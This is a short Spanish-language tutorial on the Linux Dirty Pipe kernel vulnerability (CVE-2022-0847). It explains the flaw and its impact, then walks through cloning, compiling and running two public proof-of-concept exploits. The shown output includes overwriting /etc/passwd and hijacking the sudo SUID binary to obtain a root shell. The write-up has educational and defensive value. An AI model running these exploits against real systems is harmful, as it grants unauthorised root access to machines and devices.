Dirty Pipe (CVE-2022-0847)
La vulnerabilidad Dirty Pipe (CVE-2022-0847) en el kernel de Linux permite escribir en archivos privilegiados del usuario root sin autorización. Técnicamente, es similar a la vulnerabilidad Dirty Cow (2016) y afecta a los kernels desde la versión 5.8
hasta la 5.17
.
Impacto:
Permite a un usuario con solo permisos de lectura sobre un archivo modificarlo arbitrariamente. También afecta a dispositivos Android, donde aplicaciones maliciosas (ejecutándose con permisos de usuario) podrían aprovecharla para tomar el control del dispositivo.
Fundamento técnico:
La vulnerabilidad explota el manejo incorrecto de pipes (tuberías), un mecanismo de comunicación unidireccional entre procesos en sistemas Unix. Por ejemplo, podría usarse para:
- Modificar /etc/passwd y eliminar la contraseña de root, permitiendo acceso con su sin autenticación.
- Sobrescribir binarios críticos o configuraciones del sistema.
Explotación:
- Descargar un Proof of Concept (PoC).
- Compilarlo y ejecutarlo en el sistema objetivo (o una réplica vulnerable).
elliot@debian:~$ git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
elliot@debian:~$ cd CVE-2022-0847-DirtyPipe-Exploits
elliot@debian:~$ bash compile.sh
elliot@debian:~$ ./exploit-1
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "piped"...
Password: Restoring /etc/passwd from /tmp/passwd.bak...
Done! Popping shell... (run commands now)
# id
uid=0(root) gid=0(root) groups=0(root)
Con la ayuda de la segunda versión del exploit (exploit-2
), podemos ejecutar binarios SUID con privilegios de root.
elliot@debian:~$ ./exploit-2 /usr/bin/sudo
[+] hijacking suid binary..
[+] dropping suid shell..
[+] restoring suid binary..
[+] popping root shell.. (dont forget to clean up /tmp/sh ;))
# id
uid=0(root) gid=0(root) groups=0(root)